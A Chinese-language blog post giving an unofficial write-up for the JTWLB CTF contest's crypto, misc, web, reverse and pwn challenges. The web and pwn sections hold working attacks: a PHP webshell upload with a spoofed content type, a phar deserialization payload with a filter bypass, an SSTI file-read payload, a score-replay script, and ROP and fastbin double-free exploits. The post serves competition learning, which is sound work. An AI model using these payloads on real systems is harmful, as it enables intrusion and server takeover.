kir[A]'s 小黑屋

JTWLB-CTF-Writeup

字数统计: 4.1k阅读时长: 22 min
2019/09/05 Share

JTWLB CTF非官方writeup

前言

这次JT的CTF题目质量还是不错的,但是运维CTF加一起才5小时,时间实在太紧,而且CTF的性价比明显不高,大部分题目都不只一个考点,也设了不少坑(出题人称为了防止AK)。比赛的时候,很多题目都没时间打开看,因此赛后重新把没做出来的题目复现一下,简单写了一下writeup,各位大佬如果有哪里看不懂,也不要找我,找出题人去~

crypt

babyrsa

题目提供的e=33,不是素数,直接求d会报错,因此需要先用e=11求出一个d,然后进行一次解密,之后就是e=3的套路了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from libnum import *
from gmpy2 import iroot

p=115527813793076185316851381449805634312168762458657191403286815066526250953188706928583056798579604342852966744015346317325822694054887219898915721915782637754329465514052854924553817535032759938725270570934210214428213523012934841467181935253769089655932739804044118941188314706468747928929674022797932677491
q=166400672883439986828248067692123363689048001045100362967157232932898845079847645677561248632693179197251519134531321011154377754163164855606639412545072704732134708868296084256496193743609181923015517115351345445824153230019197616579730076056575061573322756305055859636790371958064604509869192577321790513607
e=33
c=2115560894194923855739630759560263432863369647495989278797186061331927960652175182534536593259714647189428014744205682895048988970744494185844850545176656896750073471540369186693731841022954707114460986390619090986241777895532597176340296883545005058917849321578371609829147178589075514145416374661047508694566576157432639591003296975055455249269260800329069263661498941662392614602189878893057734163983485998267416879197126412977444307775211162627226211229437593330963712320994664878058875181731837287047039480049127389471576406574432640255100250675953098648028434804235316276464230311654580987077193891045891045379

d = invmod(11,(q-1)*(p-1))
c3 = pow(c,d,q*p)
i = 0
while 1:
res = iroot(c3+i*q*p,3)
if(res[1] == True):
print i,res,n2s(int(res[0]))
break
i = i+1

easyCrypto

古典加密算法告诉我们,只要加密算法不泄露,那就很安全。什么单表替换,什么移位、栅栏,统统都不用。 来,加密接口给你,随便你试。

纯脑洞,加密算法是加法,例如181dchr(0x18+0x1d)

1
2
3
4
5
a='52112013243f2a0f280b22131e181f19412322101b192113260c0c29540d191e2b380d2b1f112017273c134f51121f133034191f191a560d10250b2521162312'
b=''
for i in range(0,len(a),4):
b+=chr(int('0x'+a[i:i+2],16)+int('0x'+a[i+2:i+4],16))
print b

Vigenere+++

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import sys
from secret_file import *
def _l(idx, s):
return s[idx:] + s[:idx]
def main(p, k1, k2):
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [[_l((i+j) % len(s), s) for j in range(len(s))] for i in range(len(s))]
i1 = 0
i2 = 0
c = ""
for a in p:
c += t[s.find(a)][s.find(k1[i1])][s.find(k2[i2])]
i1 = (i1 + 1) % len(k1)
i2 = (i2 + 1) % len(k2)
return c

flag="flag{************************}"
key="**********"

# * 为马赛克,长度为1。
# hint: 可以自己尝试下运行加密函数,看看秘钥对加密结果的影响。
# hint: 首先根据线索求秘钥,秘钥不唯一,找到一个有效的,就能爆破flag了。
print main(flag, key, key[::-1])

# 程序运行结果(即密文为):
# }z_{xv0uzXMHo2HKN8{SiY3A_81UoW

不难看出密码表有t[i][j][k]=t[i][k][j]这个规律,由于加密的key1和key2是互为倒序,j+k是固定值,那么只要固定5位(前后无所谓),然后爆破另外5位就OK了。对于相同的明文来说,可能有多个密钥使其生成相同的密文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"

def _l(idx, s):
return s[idx:] + s[:idx]

def decrypt(ct, k1, k2):
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))]
i1 = 0
i2 = 0
decrypted = ""
for a in ct:
for c in s:
if t[s.find(c)][s.find(k1[i1])][s.find(k2[i2])] == a:
decrypted += c
break
i1 = (i1 + 1) % len(k1)
i2 = (i2 + 1) % len(k2)
return decrypted


def get_key(plain, cipher, key_len):
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))]
i1 = 0
i2 = 0
key = ['*'] * key_len
for i in range(len(plain)):
for i1 in range(len(s)):
for i2 in range(5):
if t[s.find(plain[i])][s.find(s[i1])][s.find(s[i2])] == cipher[i]:
key[i] = s[i1]
key[key_len-1-i] = s[i2]
return ''.join(key)

ciphertext = "}z_{xv0uzXMHo2HKN8{SiY3A_81UoW"
key = get_key("flag{", ciphertext, 10)
flag = decrypt(ciphertext, key, key[::-1])
print(flag)

misc

checkin

LSB,RGB 3个通道各有一个二维码,过程略。

Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys

with open('/home/ctf/flag') as f:
flag=f.readline()
userdata = {"user" : "hacker", "flag" : flag }

print("Input flag:")
sys.stdout.flush()
input_flag = raw_input("")

if input_flag != userdata["flag"]:
print ("Flag " + input_flag + " is wrong for user %(user)s") % userdata
else:
print("Flag is your input")

最简单的一题,直接%s,或者%(flag)s

日志分析

日志里面有很明显的数据库注入语句,使用的是布尔二分法注入,比赛的时候我是直接人工智障处理的(简单来说就是人肉看,不推荐),还是写代码比较正路。

二分法注入脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# coding:utf-8
import re

f = open('8.pcapng','rb')
res = open('res.txt','wb')

for i in f.readlines():
tmp = i
re1 = re.findall(r'/\?id=1\'/\*\*/and/\*\*/(.*) HTTP/1.1',i)
if len(re1) > 0:
res.write(re1[0]+'|')
if 'Content-Length: 332' in i or 'Content-Length: 366' in i:
res.write(i)
res.close()

res = open('res.txt','rb')
flag = ''
check = [32,126]
for i in res.readlines():
# ascii(substring((select/**/keyid/**/from/**/flag/**/limit/**/0,1),1,1))%3C79%23|Content-Length: 332
tag = re.findall(r',(\d{,2}),1\)\)%3C(\d{,3})%23\|Content-Length: (\d{3})',i)[0]
if tag[2] == '332': # False
check[0] = int(tag[1])
else:
check[1] = int(tag[1])
print check
if check[1] - check[0] == 1:
flag += chr(check[0])
check = [32,126]
print '[!]',flag

内存取证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root@kali:~/volatility# python vol.py -f 2.data --profile=WinXPSP1x64 psscan
Volatility Foundation Volatility Framework 2.6.1
Offset(P) Name PID PPID PDB Time created Time exited
------------------ ---------------- ------ ------ ------------------ ------------------------------ ------------------------------
0x00000000008da800 winlogon.exe 372 296 0x0000000006779000 2019-08-17 07:21:05 UTC+0000
0x00000000008dac20 csrss.exe 348 296 0x0000000006b09000 2019-08-17 07:21:05 UTC+0000
0x00000000009684b0 services.exe 420 372 0x000000000852a000 2019-08-17 07:21:06 UTC+0000
0x00000000009f46b0 smss.exe 296 4 0x0000000007974000 2019-08-17 07:21:03 UTC+0000
0x000000000144c770 explorer.exe 1460 1440 0x000000000c637000 2019-08-17 07:21:30 UTC+0000
0x000000000145a650 svchost.exe 1152 420 0x000000000cf6d000 2019-08-17 07:21:24 UTC+0000
0x000000000146b040 msdtc.exe 1056 420 0x000000000b0a5000 2019-08-17 07:21:24 UTC+0000
0x0000000001734b10 cmd.exe 2448 1296 0x000000000f406000 2019-08-17 07:30:53 UTC+0000 2019-08-17 07:30:53 UTC+0000
0x0000000005a79040 pythonw.exe 2412 2364 0x000000000dc1c000 2019-08-17 07:30:40 UTC+0000
0x0000000005faac20 spoolsv.exe 1028 420 0x000000000a7e8000 2019-08-17 07:21:23 UTC+0000
0x0000000005fb69a0 ipconfig.exe 2456 2448 0x0000000000765000 2019-08-17 07:30:53 UTC+0000 2019-08-17 07:30:53 UTC+0000
0x00000000060e0c20 System 4 0 0x000000000fd01000
0x000000000714da50 vmtoolsd.exe 1832 1460 0x0000000007524000 2019-08-17 07:21:32 UTC+0000
0x0000000007288c20 TPAutoConnSvc.e 1776 420 0x000000000708f000 2019-08-17 07:21:32 UTC+0000
0x00000000092acc20 vmacthlp.exe 620 420 0x00000000091aa000 2019-08-17 07:21:06 UTC+0000
0x00000000096a6040 svchost.exe 664 420 0x000000000986e000 2019-08-17 07:21:06 UTC+0000
0x00000000098367d0 ctfmon.exe 1840 1460 0x000000000b8a0000 2019-08-17 07:21:32 UTC+0000
0x0000000009a19040 svchost.exe 720 420 0x0000000009818000 2019-08-17 07:21:06 UTC+0000
0x0000000009c10ab0 svchost.exe 784 420 0x0000000009e89000 2019-08-17 07:21:06 UTC+0000
0x0000000009fc6040 svchost.exe 816 420 0x000000000a044000 2019-08-17 07:21:06 UTC+0000
0x000000000a163040 svchost.exe 852 420 0x000000000a162000 2019-08-17 07:21:06 UTC+0000
0x000000000a3751f0 wmiprvse.exe 1940 664 0x000000000b0a1000 2019-08-17 07:21:32 UTC+0000
0x000000000b03d040 pythonw.exe 2364 1460 0x0000000008048000 2019-08-17 07:30:31 UTC+0000
0x000000000b106c20 VGAuthService.e 1260 420 0x000000000cae7000 2019-08-17 07:21:24 UTC+0000
0x000000000b617040 dllhost.exe 2036 420 0x000000000e070000 2019-08-17 07:21:32 UTC+0000
0x000000000bf68040 ctfmon.exe 1908 1840 0x0000000009550000 2019-08-17 07:21:32 UTC+0000
0x000000000c0af040 dllhost.exe 1952 420 0x000000000c0b0000 2019-08-17 07:21:32 UTC+0000
0x000000000cba6c20 svchost.exe 1660 420 0x000000000d7bd000 2019-08-17 07:21:31 UTC+0000
0x000000000d942650 TPAutoConnect.e 2176 1776 0x000000000aa03000 2019-08-17 07:21:33 UTC+0000
0x000000000d9a57d0 vmtoolsd.exe 1296 420 0x000000000e2bc000 2019-08-17 07:21:24 UTC+0000
0x000000000ec16c20 vssvc.exe 2108 420 0x000000000693a000 2019-08-17 07:21:33 UTC+0000
0x000000000ec3c580 lsass.exe 432 372 0x0000000008701000 2019-08-17 07:21:06 UTC+0000

其中比较可疑的是pythonw.exe进程,把这个进程的内存dump下来,然后尝试用关键字过滤,最后可以找到一个python脚本。内存很大,出题人说用winhex搜索就行了,我用的是strings。

1
python vol.py -f 2.data --profile=WinXPSP1x64 memdump -D /tmp/ -p 2364

加密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#-*- coding:utf-8 -*-
import os
from base64 import b64encode
# flag{ this is not flag, it's just a comment in python source file.I hide some secret with python, I don't think you can found it.
secret_file_name = 'flag.txt'
secret_file_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), secret_file_name)
secret = ''
with open(secret_file_path, 'r') as f:
secret = f.read()
os.remove(secret_file_path)
key = input("Set a value 0x00 < key < 0xff:")
key = int(key[2:],16)
def encrypt(content, key):
result = ''
for c in content:
result += chr(ord(c) ^ key)
return b64encode(result.encode('utf-8'))
for i in range(3):
secret = encrypt(secret, key)
if type(secret) != 'str':
secret = secret.decode('utf-8')
result_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'lalala.secret')
with open(result_path, 'w') as f:
f.write(secret)
os.remove(os.path.abspath(__file__))

\Device\HarddiskVolume1\Documents and Settings\Administrator\桌面找到加密后的文件lalala.secret,内存搜索一大串base64也可以,加密字符串特征比较明显。听说有大神找base64字符串,直接脑补了加密算法,我只能说刚刚NB。

直接爆破key即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
m = 'c1IufV1PRUZOX1VtTyYiIE9BRXJxeyZSWyRVc0MmIiJPQS52cU9FUkN6XXVyQlJ7c1JFQHJBI3xGeWNzcXtnL3QkZyNccCoq=='

def decrypt(content, key):
result = ''
content = b64decode(content).decode('utf-8')
for c in content:
result += chr(ord(c) ^ key)
return result

for i in range(0x100):
try:
m2 = decrypt(m,i)
m3 = decrypt(m2,i)
flag = decrypt(m3,i)
print(flag)
except:
pass

web

web1 简单渗透

扫描目录发现backup.zip,根据zip内容修改hosts,使用提示给的账号密码访问后台,后台存在文件上传,修改Content-Typeimage/jpeg即可传php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /user/upload.html HTTP/1.1
Host: admin.blogdemo2.com
Content-Length: 415
Cache-Control: max-age=0
Origin: http://admin.blogdemo2.com
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeB2UUeqAwLr2uKY1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://admin.blogdemo2.com/user/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: _adminCSRF=3e0552599661ff4611ef79136f2b18cfcc7c3d191d7a61814ba0bcf79f526234a%3A2%3A%7Bi%3A0%3Bs%3A10%3A%22_adminCSRF%22%3Bi%3A1%3Bs%3A32%3A%22swDNSQwqnTeYymLVfcfZ2RbqL9oNilNu%22%3B%7D; PHPBACKSESSION=r7f12vcl3nga9lijjmi9a3nfn0; _identity=2ee88609ab19408b884b602fe183b26b1737b78b2f7e765bb971b50fe8734f55a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A1%3Bs%3A46%3A%22%5B1%2C%22pG7TRyTIXlEbcenpi34TzmMYS2zDsMTF%22%2C2592000%5D%22%3B%7D
Connection: close

------WebKitFormBoundaryeB2UUeqAwLr2uKY1
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryeB2UUeqAwLr2uKY1
Content-Disposition: form-data; name="uploaded"; filename="123.php"
Content-Type: image/jpeg

<?php @eval($_POST[c]);?>
------WebKitFormBoundaryeB2UUeqAwLr2uKY1
Content-Disposition: form-data; name="Upload"

上传
------WebKitFormBoundaryeB2UUeqAwLr2uKY1--

web2 澳门赌场

查看源码或者抓包,可以看到post分数的包,直接爆破4位分数。当时不会用burp,直接写了个py脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import hashlib

def md5(x):
return hashlib.md5(x).hexdigest()

session = requests.Session()

for i in range(1,10000):
number = str(i).rjust(4,'0')
sign = md5(number)
#print number
paramsPost = {"sign":sign,"number":number}
response = session.post("http://10.55.2.50/result.php", data=paramsPost)
if "Bad Luck" not in response.content:
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
break

web3 treehole

扫描发现index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//图片展示
class ShowPic{
private $pic_path;
function __construct($path){
$this->pic_path=$path;
}
function get_pic(){
return file_get_contents($this->pic_path);
}
function __destruct(){
echo $this->get_pic();
}
}
//我没有用include,用的是file_get_content,不会有漏洞的

尝试上传图片,测试发现基本没限制,只要扩展名和文件类型正确即可。而留言的地方有path参数,测试发现如果文件已存在会提示,那么大胆猜测存在file_exists这个函数,这个函数可以触发phar反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ShowPic{
private $pic_path;
function __construct($path){
$this->pic_path=$path;
}
}

$a = new ShowPic('/var/www/html/class.php');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub, 增加gif文件头,伪造文件类型
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

生成一个phar用图片上传,然后在留言处触发反序列化。

万恶的出题人过滤了phar,可以加compress.zlib://绕过

flag在/flag

尝试读取各个文件源码,看看是否有getshell可能性。

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);
class create_treehole{
public $path;
public $realpath = "";
public $complaint = "";
function __construct($path,$complaint){
$this->complaint = $complaint;
$this->path = $path;
$this->realpath = "";
}
function make(){
$this->realpath = $this->create_name($_SERVER["REMOTE_ADDR"]);
file_put_contents($this->realpath, $this->complaint);
}
function back(){
echo "您的烦恼保存在了 ".$this->realpath."</br>";
}
function create_name($str){
$salt='';
for ($i = 0; $i < 10; $i++){
$salt .= chr(mt_rand(33,126));
}
$str = "./treehole/".md5($str.$salt).".txt";
return $str;
}

}
class ShowPic{
private $pic_path;
function __construct($path){
$this->pic_path=$path;
}
function get_pic(){
return file_get_contents($this->pic_path);
}
function __destruct(){
echo $this->get_pic();
}
}

complaint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
require_once("class.php");
if(isset($_POST["complaint"])&&isset($_POST["path"])){
if (preg_match("/^phar|php|zip|data/i", $_POST["path"])) {
die("detect hacker!!!");
}
else {
if(file_get_contents($_POST["path"])){
echo "exists";
}
else{
$treehole = new create_treehole($_POST["path"], $_POST["complaint"]);
$treehole->make();
$treehole->back();
}
}

}
else{
echo "error";
}

原来是file_get_contents,猜错了。。。

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
$whitelist=['.jpg','.png'];
$file=$_FILES['file']['name'];
if($_FILES) {
if (!in_array(substr($file, -4), $whitelist)) {
die("文件后缀必须是.jpg或.png");
}
move_uploaded_file($_FILES["file"]["tmp_name"], "pic/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "pic/" . $_FILES["file"]["name"];
}
else{
echo "无文件被上传";
}
?>

想不到办法getshell,有思路欢迎找我讨论。

web4 ssti

过滤了[],使用__getitem__绕过

1
msg=''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/flag').read()

时间有限,拿了flag就跑,没时间读源码。

re

基本能力

题目提供c代码以及func函数的汇编码

1
2
3
4
5
6
7
int main(int argc, char const *argv[])
{
char input[] = {0x0,0x67,0x6e,0x62,0x63,0x7e,0x41,0x4b,0x3b,0x4c,0x7e,0x51,0x5c,0x49,0x62,0x77,0x78,0x62,0x79,0x51,0x79,0x70,0x75,0x2e,0x2e,0x70,0x48,0x66,0x1c};
func(input, 28);
printf("%s",input+1);
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
00000000004004e6 <func>:
55 push rbp
48 89 e5 mov rbp,rsp
48 89 7d e8 mov QWORD PTR [rbp-0x18],rdi
89 75 e4 mov DWORD PTR [rbp-0x1c],esi
c7 45 fc 01 00 00 00 mov DWORD PTR [rbp-0x4],0x1
eb 28 jmp 400522 <func+0x3c>
8b 45 fc mov eax,DWORD PTR [rbp-0x4]
48 63 d0 movsxd rdx,eax
48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
48 01 d0 add rax,rdx
8b 55 fc mov edx,DWORD PTR [rbp-0x4]
48 63 ca movsxd rcx,edx
48 8b 55 e8 mov rdx,QWORD PTR [rbp-0x18]
48 01 ca add rdx,rcx
0f b6 0a movzx ecx,BYTE PTR [rdx]
8b 55 fc mov edx,DWORD PTR [rbp-0x4]
31 ca xor edx,ecx
88 10 mov BYTE PTR [rax],dl
83 45 fc 01 add DWORD PTR [rbp-0x4],0x1
8b 45 fc mov eax,DWORD PTR [rbp-0x4]
3b 45 e4 cmp eax,DWORD PTR [rbp-0x1c]
7e d0 jle 4004fa <func+0x14>
90 nop
5d pop rbp
c3 ret

加密函数的逻辑不是很复杂,是一个xor加密

1
2
3
4
5
for ( i = 1; i < len(flag); ++i )
{
flag[i] ^= i;
}
return flag;

1
2
3
>>> a=[0x0,0x67,0x6e,0x62,0x63,0x7e,0x41,0x4b,0x3b,0x4c,0x7e,0x51,0x5c,0x49,0x62,0x77,0x78,0x62,0x79,0x51,0x79,0x70,0x75,0x2e,0x2e,0x70,0x48,0x66,0x1c]
>>> ''.join([chr(a[i]^i) for i in range(len(a))])
'\x00flag{GL3EtZPDlxhskBmec96iR}\x00'

gameapp

app是一个打飞机的游戏,需要获得99999分,通过burp抓包,可以发现app加分的操作是通过http包发给远程服务器,数据使用RSA进行了加密。用JEB可以看到具体的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void addScore(int arg7) {
this.score += ((long)arg7);
JSONObject v1 = new JSONObject();
try {
v1.put("score", arg7);
v1.put("op", "add");
this.DATA = v1.toString();
this.URL = "http://" + HttpUnit.baseHOST + "/score/";
new Thread(this.runnable).start();
}
catch(Exception v0) {
v0.printStackTrace();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void run() {
String v3;
try {
v3 = HttpUnit.post(MainActivity.this.URL, RsaUnit.private_encrypt(MainActivity.this.DATA));
}
catch(Exception v1) {
v1.printStackTrace();
}

Message v2 = new Message();
Bundle v0 = new Bundle();
v0.putString("value", v3);
v2.setData(v0);
MainActivity.this.handler.sendMessage(v2);
}

抓包可以抓到大飞机加30分的包,发过去后会更新session,更改session后继续发同样的密文直到99999分

1
2
3
4
5
6
7
8
9
10
11
12
POST /score/ HTTP/1.1
Content-type: w1nds
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; )
Host: 120.194.198.16:8097
Connection: close
Accept-Encoding: gzip, deflate
Cookie: session=eyJwbGF5ZXIiOiJQbGF5ZXJOYW1lIiwic2NvcmUiOjUwfQ.XW3OAw.YBB___pWnlc9P560vCQk4H-gA5Y
Content-Length: 175

MISygCLch93NMojz/DaKAu88RkCQl2aTH/i0W0a3w0m1JBoEcr4YVuWdvb+hSSqWupieWqm0mDMb
BdtJ2TWFeorLJKuF5S5J31lzVqKxeoq2h7PGuFqKiwJVtvA6uIdzjOrmkElvnlTysjE3Y06HjCe1
x+T7s4zN0ahrEdOqC+8=

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import re

def add_score():
global s
paramsPost = """MISygCLch93NMojz/DaKAu88RkCQl2aTH/i0W0a3w0m1JBoEcr4YVuWdvb+hSSqWupieWqm0mDMb
BdtJ2TWFeorLJKuF5S5J31lzVqKxeoq2h7PGuFqKiwJVtvA6uIdzjOrmkElvnlTysjE3Y06HjCe1
x+T7s4zN0ahrEdOqC+8="""
cookies = {"session":s}
response = requests.post("http://x.x.x.x:xxxx/score/", data=paramsPost, cookies=cookies)
s2 = response.headers['Set-Cookie']
new_s = re.findall(r'session=(.*); HttpOnly; Path=/',s2)[0]
s = new_s
print("Response body: %s" % response.content)
return response.content

s="eyJwbGF5ZXIiOiJQbGF5ZXJOYW1lIiwic2NvcmUiOjYxMDEwfQ.XW3Wbg.4Bla3WMuSxCCv_8AQD9rNJGZ_ME"
while ('flag' not in add_score()):
pass

Dragon Quest

程序读取输入后进行计算,start_quest返回值为0x1337即正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
fgets(&s, 257, stdin);
std::allocator<char>::allocator(&v8, 257LL);
std::string::string(&v9, &s, &v8);
std::allocator<char>::~allocator(&v8);
std::string::string((std::string *)&v7, (const std::string *)&v9);
v3 = start_quest((std::string *)&v7);
std::string::~string((std::string *)&v7);
if ( v3 == 0x1337 )
{
std::string::string((std::string *)&v6, (const std::string *)&v9);
reward_strength((std::string *)&v6);
std::string::~string((std::string *)&v6);
}
else
{
std::operator<<<std::char_traits<char>>(
&std::cout,
(unsigned int)"\n[-] You have failed. The dragon's power, speed and intelligence was greater.\n",
v4);
}

由于代码逻辑非常复杂,根据题目提示,应该使用暴力爆破解题。

1
v6 = std::string::length(v11) - 1LL != legend >> 2; // legend = 0x73 ; 0x73 >> 2 = 28

题目会验证输入长度,可以在伪代码中看出,或者爆破一下输入长度。

这题需要使用pintool进行爆破,GitHub有ctf专用版:https://github.com/ChrisTheCoolHut/PinCTF ,原理是统计不同输入,程序运行的指令数量,判断输入是否正确。本题是example的原题,这是抄袭呀。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
./pinCTF.py -f examples/wyvern_c85f1be480808a9da350faaa6104a19b -i -l obj-intel64/ -sl 28 -r abcdefghijklmnopqrstuvwxyz012345_-+LVMA -sk
[+] iter 0 using d for dAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 1 using r for drAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 2 using 4 for dr4AAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 3 using g for dr4gAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 4 using 0 for dr4g0AAAAAAAAAAAAAAAAAAAAAAA
[+] iter 5 using n for dr4g0nAAAAAAAAAAAAAAAAAAAAAA
[+] iter 6 using _ for dr4g0n_AAAAAAAAAAAAAAAAAAAAA
[+] iter 7 using o for dr4g0n_oAAAAAAAAAAAAAAAAAAAA
[+] iter 8 using r for dr4g0n_orAAAAAAAAAAAAAAAAAAA
[+] iter 9 using _ for dr4g0n_or_AAAAAAAAAAAAAAAAAA
[+] iter 10 using p for dr4g0n_or_pAAAAAAAAAAAAAAAAA
[+] iter 11 using 4 for dr4g0n_or_p4AAAAAAAAAAAAAAAA
[+] iter 12 using t for dr4g0n_or_p4tAAAAAAAAAAAAAAA
[+] iter 13 using r for dr4g0n_or_p4trAAAAAAAAAAAAAA
[+] iter 14 using i for dr4g0n_or_p4triAAAAAAAAAAAAA
[+] iter 15 using c for dr4g0n_or_p4tricAAAAAAAAAAAA
[+] iter 16 using 1 for dr4g0n_or_p4tric1AAAAAAAAAAA
[+] iter 17 using a for dr4g0n_or_p4tric1aAAAAAAAAAA
[+] iter 18 using n for dr4g0n_or_p4tric1anAAAAAAAAA
[+] iter 19 using _ for dr4g0n_or_p4tric1an_AAAAAAAA
[+] iter 20 using i for dr4g0n_or_p4tric1an_iAAAAAAA
[+] iter 21 using t for dr4g0n_or_p4tric1an_itAAAAAA
[+] iter 22 using 5 for dr4g0n_or_p4tric1an_it5AAAAA
[+] iter 23 using _ for dr4g0n_or_p4tric1an_it5_AAAA
[+] iter 24 using L for dr4g0n_or_p4tric1an_it5_LAAA
[+] iter 25 using L for dr4g0n_or_p4tric1an_it5_LLAA
[+] iter 26 using V for dr4g0n_or_p4tric1an_it5_LLVA
[+] iter 27 using M for dr4g0n_or_p4tric1an_it5_LLVM
[+] Found pattern dr4g0n_or_p4tric1an_it5_LLVM

pwn

pwn不难,没脑洞没坑

pwn 1

栈溢出后ROP即可

1
2
3
4
5
6
pr = 0x0000000000400863 # pop rdi ; ret
p.sendlineafter('name:','a'*0x78+flat(pr,elf.got['read'],elf.plt['puts'],0x400776))
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['read']
success(hex(libc.address))
p.sendlineafter('name:','a'*0x78+p64(libc.address+0x4526a))
p.interactive()

pwn 2

free之后没有清空指针,存在UAF,double free之后直接fastbin attack,其中edit功能可以不用。比赛的时候给的libc是ARM,就问你坑不坑~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def add(size,content):
p.sendlineafter('choice :','1')
p.sendlineafter('size:',str(size))
p.sendlineafter('data:',content)

def delete(idx):
p.sendlineafter('choice :','2')
p.sendlineafter('index:',str(idx))

def show(idx):
p.sendlineafter('choice :','4')
p.sendlineafter('index:',str(idx))

add(0x100,'111') # 0
add(0x100,'111') # 1
delete(0)
show(0)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) -0x3c4b20-88
success(hex(libc.address))
add(0x100,'111') # 0

add(0x50,'111') # 2
add(0x50,'111') # 3
add(0x50,'111') # 4

delete(2)
delete(3)
delete(2)

add(0x50,p64(0x601ffa)) # 2
add(0x50,'4444') # 3
add(0x50,'6666') # 5
add(0x50,'a'*0x16+p64(libc.address+0x45216))
p.interactive()

CATALOG
  1. 1. JTWLB CTF非官方writeup
    1. 1.1. 前言
    2. 1.2. crypt
      1. 1.2.1. babyrsa
      2. 1.2.2. easyCrypto
      3. 1.2.3. Vigenere+++
    3. 1.3. misc
      1. 1.3.1. checkin
      2. 1.3.2. Injection
      3. 1.3.3. 日志分析
      4. 1.3.4. 内存取证
    4. 1.4. web
      1. 1.4.1. web1 简单渗透
      2. 1.4.2. web2 澳门赌场
      3. 1.4.3. web3 treehole
      4. 1.4.4. web4 ssti
    5. 1.5. re
      1. 1.5.1. 基本能力
      2. 1.5.2. gameapp
      3. 1.5.3. Dragon Quest
    6. 1.6. pwn
      1. 1.6.1. pwn 1
      2. 1.6.2. pwn 2